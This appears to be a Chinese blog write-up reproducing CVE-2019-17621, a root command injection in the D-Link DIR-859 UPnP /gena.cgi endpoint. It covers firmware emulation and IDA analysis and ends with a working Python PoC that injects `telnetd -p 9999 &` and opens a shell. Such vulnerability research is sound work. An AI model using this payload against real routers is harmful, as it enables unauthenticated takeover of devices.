当前位置: 首页 > news >正文

【工业安全】-CVE-2019-17621-D-Link Dir-859L 路由器远程代码执行漏洞

文章目录

1.漏洞描述

2.环境搭建

3.漏洞复现

4.漏洞分析 

    4.1:代码分析 

    4.2:流量分析

5.poc代码:


1.漏洞描述

漏洞编号:CVE-2019-17621

漏洞名称:D-Link DIR-859 命令注入漏洞

威胁等级:严重

漏洞详情:D-Link UPnP-859 Wi-Fi路由器1.05和1.06B01 Beta 01中的UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令

影响范围:D-Link DIR-859 v1.06b01beta01及之前的版本

固件下载地址:http://www.dlink.com.cn/techsupport/download.ashx?file=3850


2.环境搭建

下载到固件之后,首先需要把固件 DIR822A1_FW103WWb03.bin模拟运行起来。

在测试虚拟机中,模拟固件用到的是 firmware-analysis-toolkit:GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitiesToolkit to emulate firmware and analyse it for security vulnerabilities - GitHub - attify/firmware-analysis-toolkit: Toolkit to emulate firmware and analyse it for security vulnerabilitieshttps://github.com/attify/firmware-analysis-toolkit也可以直接安装一台 AttifyOS 虚拟机:GitHub - adi0x90/attifyos: Attify OS - Distro for pentesting IoT devicesAttify OS - Distro for pentesting IoT devices . Contribute to adi0x90/attifyos development by creating an account on GitHub.https://github.com/adi0x90/attifyos

这个虚拟机镜像就是专门用来进行物联网 (IoT) 设备的安全评估和渗透测试的,上面预装好了各种必要的工具,比较方便,AttifyOS 3.0 基于 Ubuntu 18.04。

3.漏洞复现

在firmadyne安装目录下执行命令:

./fat.py DIR822A1_FW103WWb03.bin,

出现如下提示后按回车运行固件。

在浏览器中访问 http://192.168.0.1

使用 nmap 扫描可以发现 9999 端口被开启,运行 telnet 服务:

命令:grep -r '49152'

注:49152开启的是UPnP(通用即插即用)网络协议。

运行poc

命令:python3.8 a.py

poc执行成功后,获得了dlink的shell。

4.漏洞分析

4.1:代码分析

使用 binwalk -e 解包固件,获得文件以备后续分析:

 进入home/CVE-2019/firmadyne/_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/bin目录后,我们并没有发现httpd可执行文件。

使用grep 命令搜索当前目录及其子目录下所有包含 "httpd" 字符串的文

_DIR822A1_FW103WWb03.bin.extracted/squashfs-root/etc/services/HTTP.php 文件包含了 httpd 的配置文件路径 /var/run/httpd.conf,并且有启动和停止 httpd 服务的命令。这表明该脚本可能用于管理 httpd 服务的启动和停止。

查看httpd.conf文件:

cat var/run/httpd.conf

可知/htdocs/upnp/docs/LAN-1用于存放 UPnP 服务相关的文档和资源.

进入路径/htdocs/upnp/docs/LAN-1

命令:cd /htdocs/upnp/docs/LAN-1

ls -al

注意漏洞通告中:

The UPnP endpoint URL /gena.cgi in the D-Link DIR-859 Wi-Fi router 1.05 and 1.06B01 Beta01 allows an Unauthenticated remote attacker to execute system commands as root

能够定位漏洞位于/htdocs/cgibin

ida分析/htdocs/cgibin

通过查找关键词”gena”我们发现调用gena.cgi的genacgi_main函数

反汇编可知此函数的作用是处理一个简单的 CGI (通用网关接口) 请求

首先检查请求方法和请求 URI 是否有效。

然后检查请求 URI 是否包含 ?service=,并获取服务名称。

根据请求方法(SUBSCRIBE 或 UNSUBSCRIBE)的不同,调用相应的处理函数(sub_40FCE0或sub_4100EC)

注意漏洞通告中:

远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求。

跟进分析请求方法SUBSCRIBE调用的处理函数sub_40FCE0:

反汇编可知此函数的作用是用于 UPnP (通用即插即用) 服务,处理一个订阅请求。

这段代码主要是调用 xmldbc_ephp 函数来执行命令

分析xmldbc_ephp

它是一个包装器函数,用于调用另一个函数 sub_414FB8

跟进sub_414FB8函数

1. sub_4140BC 函数,获取一个文件描述符或类似资源。

2.如果获取成功,sub_4140BC 函数会调用 sub_41490C 函数进行进一步的操作。

跟进sub_41490C 函数:

sub_41490C 处理文件描述符读取和数据处理的函数。

3.如果 sub_41490C 确保成功,它会调用 sub_4146C8 函数进行最终操作。

sub_4146C8 函数作用是等待文件描述符流的状态变化,然后读取数据并调用 sub_41460C 函数。

sub_41460C 函数中fwrite 函数被用来将 a1 指向的内存区域中的数据写入到文件流中。

而a1内存区域中的数据在sub_4140BC就有定义

a1 在这个函数中主要用于:

可知脚本文件的路径run.NOTIFY.php中。

分析run.NOTIFY.php:

这段代码用于处理 UPnP 设备的事件订阅请求,根据不同的服务类型(GENA_subscribe_new 或者GENA_subscribe_sid)执行相应的操作。

内容定义在了/htdocs/upnpinc/gena.php中。

其中引入多个变量。

$shell_file 变量没有经过适当的清理转义,这允许攻击者通过在 URL 参数中注入恶意代码来控制 fwrite 函数写入的内容。

已知:49152端口开启的是UPnP(通用即插即用)网络协议。

我们可以构造如下请求:

http://<router-ip>:49152/gena.cgi?service=`$shell_file+命令 /`

验证命令注入漏洞。

4.2:流量分析 

UPnP端点URL /gena.cgi允许未经身份验证的远程攻击者在连接到本地网络时向UPnP服务发送特制的HTTP SUBSCRIBE请求,从而以root身份执行系统命令。

5.poc代码:

代码复现时路由器ip:192.168.0.1

#!/usr/bin/python3import socket
import os
from time import sleepdef httpSUB(server, port, shell_file):print('\n[*] Connection {host}:{port}'.format(host=server, port=port))con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)request  = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"request += "Host: " + str(server) + str(port) + "\n"request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"request += "NT: upnp:event\n"request += "Timeout: Second-1800\n"request += "Accept-Encoding: gzip, deflate\n"request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"print('[*] Sending Payload')sleep(1)con.connect((socket.gethostbyname(server), port))con.send(request.encode())results = con.recv(4096)print('[*] Running Telnetd Service')sleep(2)print('[*] Opening Telnet Connection\n')os.system('telnet ' + str(server) + ' 9999')serverInput = "192.168.0.1"
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

poc执行成功后,获得了dlink的shell。


http://www.mrgr.cn/news/90519.html

相关文章:

  • leetcode_深度搜索和广度搜索 116. 填充每个节点的下一个右侧节点指针
  • 多头注意力机制的创新优化:MLA架构解析
  • QtUi界面设计-使用样式表设计的常用控件按钮、表格等的样例
  • vscode怎么更新github代码
  • python利用jenkins模块操作jenkins
  • WordPress 角标插件:20 种渐变色彩搭配,打造专属菜单标识
  • 自然语言处理NLP入门 -- 第三节词袋模型与 TF-IDF
  • haproxy+nginx负载均衡实验
  • 解锁大语言模型潜能:KITE 提示词框架全解析
  • DeepSeek-V3 技术报告
  • 设计模式全解(含代码实例)
  • 【科技革命】颠覆性力量与社会伦理的再平衡
  • web前端布局--使用element中的Container布局容器
  • C++基础学习记录—this指针
  • c#中“事件-event”的经典示例与理解
  • c++ 多线程知识汇总
  • 开发一个类似小红书的社交电商平台需要综合技术、产品和运营能力
  • 自然语言处理NLP入门 -- 第一节基础概念
  • 黑马Mistral Le chat逆转deepseek
  • 【NLP 21、实践 ③ 全切分函数切分句子】
  • lvsDR模式实现
  • Elasticjob在同一个实例上运行的多个分片任务
  • Flask Web开发的重要概念和示例
  • 洛谷 P4552 [Poetize6] IncDec Sequence
  • 阿里云 DeepSeek 模型部署与使用技术评测
  • 机器学习 - 机器学习模型的评价指标